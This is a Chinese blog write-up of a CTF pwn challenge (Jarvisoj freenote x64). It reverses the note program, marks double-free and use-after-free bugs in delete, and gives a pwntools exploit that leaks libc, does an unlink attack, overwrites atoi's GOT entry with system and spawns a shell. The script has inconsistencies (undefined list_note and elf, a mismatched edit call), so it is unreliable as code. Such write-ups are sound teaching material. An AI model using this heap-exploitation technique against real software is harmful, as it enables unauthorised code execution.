PWN--heap-UAF - ZhouYetao

PWN--heap-UAF

Pwn--UAF

示例程序——Jarvisoj——freenote_X64

level6_x64.rar

调试的一个小技巧

一般现在很多的pwn的程序dump下来的时候,其中都会有一个始终的alarm的函数,这个是用来控制时间的,这也对我们使用GDB调试这个程序产生了很大的影响,所以这边先讲一下一个petch的小技巧:

然后将alarm的参数设置成0,具体参数是哪一个的话你可以通过观察F5之后反编译的代码可以看到具体alarm中的参数是多少,然后修改成0,具体的petch的方法,还是详见我之前这篇博客:petch

然后我们就可以无时间限制的调试这个程序了(p.s.一个小技巧,大佬别喷)

程序的逆向分析

List Note

int list()
{
  __int64 v0; // rax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  if ( qword_6020A8[1] <= 0 )
  {
    LODWORD(v0) = puts("You need to create some new notes first.");
  }
  else
  {
    for ( i = 0; ; ++i )
    {
      v0 = *qword_6020A8;
      if ( (signed int)i >= *qword_6020A8 )
        break;
      if ( qword_6020A8[3 * (signed int)i + 2] == 1 )
        printf("%d. %s\n", i, qword_6020A8[3 * (signed int)i + 4]);
    }
  }
  return v0;
}

这个就是一个简单的一个按序输出,没啥毛病;

New Note

int new()
{
  __int64 v0; // rax
  void *v1; // ST18_8
  int i; // [rsp+Ch] [rbp-14h]
  int v4; // [rsp+10h] [rbp-10h]

  if ( qword_6020A8[1] < *qword_6020A8 )
  {
    for ( i = 0; ; ++i )
    {
      v0 = *qword_6020A8;
      if ( i >= *qword_6020A8 )
        break;
      if ( !qword_6020A8[3 * i + 2] )
      {
        printf("Length of new note: ");
        v4 = get_in();
        if ( v4 > 0 )
        {
          if ( v4 > 4096 )
            v4 = 4096;                          // max size
          v1 = malloc((128 - v4 % 128) % 128 + v4);// the size is always multiple of 0x80
          printf("Enter your note: ");
          sub_40085D(v1, (unsigned int)v4);
          qword_6020A8[3 * i + 2] = 1LL;
          qword_6020A8[3 * i + 3] = v4;
          qword_6020A8[3 * i + 4] = (__int64)v1;
          ++qword_6020A8[1];
          LODWORD(v0) = puts("Done.");
        }
        else
        {
          LODWORD(v0) = puts("Invalid length!");
        }
        return v0;
      }
    }
  }
  else
  {
    LODWORD(v0) = puts("Unable to create new note.");
  }
  return v0;
}

这里对我们输入的内容的具体的输入过程没有限制,所以我们可以输入任意的大小的字符串

Edit Note

int edit()
{
  __int64 *v1; // rbx
  int v2; // [rsp+4h] [rbp-1Ch]
  int v3; // [rsp+8h] [rbp-18h]

  printf("Note number: ");
  v3 = get_in();
  if ( v3 < 0 || v3 >= *qword_6020A8 || qword_6020A8[3 * v3 + 2] != 1 )
    return puts("Invalid number!");
  printf("Length of note: ");
  v2 = get_in();
  if ( v2 <= 0 )
    return puts("Invalid length!");
  if ( v2 > 4096 )
    v2 = 4096;
  if ( v2 != qword_6020A8[3 * v3 + 3] )
  {
    v1 = qword_6020A8;
    v1[3 * v3 + 4] = (__int64)realloc((void *)qword_6020A8[3 * v3 + 4], (128 - v2 % 128) % 128 + v2);
    qword_6020A8[3 * v3 + 3] = v2;
  }
  printf("Enter your note: ");
  sub_40085D(qword_6020A8[3 * v3 + 4], (unsigned int)v2);
  return puts("Done.");
}

这里也是对我们输入的内容的具体的输入过程没有限制,所以我们可以输入任意的大小的字符串

Delete Note

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( qword_6020A8[1] <= 0 )
    return puts("No notes yet.");
  printf("Note number: ");
  v1 = get_in();
  if ( v1 < 0 || v1 >= *qword_6020A8 )      <--------Double Free
    return puts("Invalid number!");
  --qword_6020A8[1];
  qword_6020A8[3 * v1 + 2] = 0LL;
  qword_6020A8[3 * v1 + 3] = 0LL;
  free((void *)qword_6020A8[3 * v1 + 4]);   <--------UAF
  return puts("Done.");
}

这里存在两个漏洞,一个是没有检查标志位,也就是是否inuse,所以是一个double free的漏洞,还有一个是free了之后,没有将指针清为NULL,所以是一个很常规的UAF(use after free)的漏洞。

EXP及调试过程

exp的头缀和函数的定义

#!/usr/bin/env python
from pwn import *

p = process("./freenote_x64")
libc = ELF("libc.so")

#define func

def choice(cont):
    p.sendlineafter("Your choice: ",cont)

def new( cont ):
    choice("2")
    p.sendlineafter(": ", str(len(cont)))
    p.sendlineafter(": ", cont)
    
def list():
    choice("1")
    
def edit(idx , lens_new ,cont_new):
    choice("3")
    p.sendlineafter(": " , idx)
    p.sendlineafter(": ", lens_new)
    p.sendlineafter(": ", cont_new)

def dele(idx):
    choice("4")
    p.sendlineafter(": ", idx)

def exit():
    choice("5")

第一步,leak出libc的基地址

#leak address
new("1" * 8) #0
new("2" * 8) #1
new("3" * 8) #2
new("4" * 8) #3 

dele(0)
dele(2)

#gdb.attach(p)

new("5" * 8)
new("6" * 8)

#gdb.attach(p)

list_note()
print p.recv()
p.recvuntil("0. 55555555")
heap_add = u64(p.recv(4).ljust(8,"\x00")) - 0xa001940 + 0x30
p.recvuntil("2. 66666666")
libc_add = u64(p.recv(6).ljust(8,"\x00")) - 0x3c4b78
log.success("heap add:0x%x",heap_add)
log.success("libc add:0x%x",libc_add)
#gdb.attach(p)

sys_add = libc_add + libc.sym["system"]
log.success("sys add:0x%x",sys_add)

第二步,unlink去getshell

#unlink
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline('1')
pay = p64(0x90) + p64(0x80) + p64(heap_add - 0x18) + p64(heap_add - 0x10) + 'a'*0x60
pay+= p64(0x80) + p64(0x90+0x90) + 'b'*0x70
edit(0,pay)
dele(1)

#getshell
payload = p64(2) + p64(1) + p64(100) + p64(heap_add - 0x18) + p64(1) + p64(0x8) + p64(elf.got['atoi']) 
payload += '\x00'*(0x100-len(payload))
edit(0,payload)
edit(1,p64(sys_add))
p.sendline("$0")

Leave a Comment

@author:ZhouYetao
© 2020 Copyright.  | Power by Mijiu                                                                                               
本站已安全运行 873 天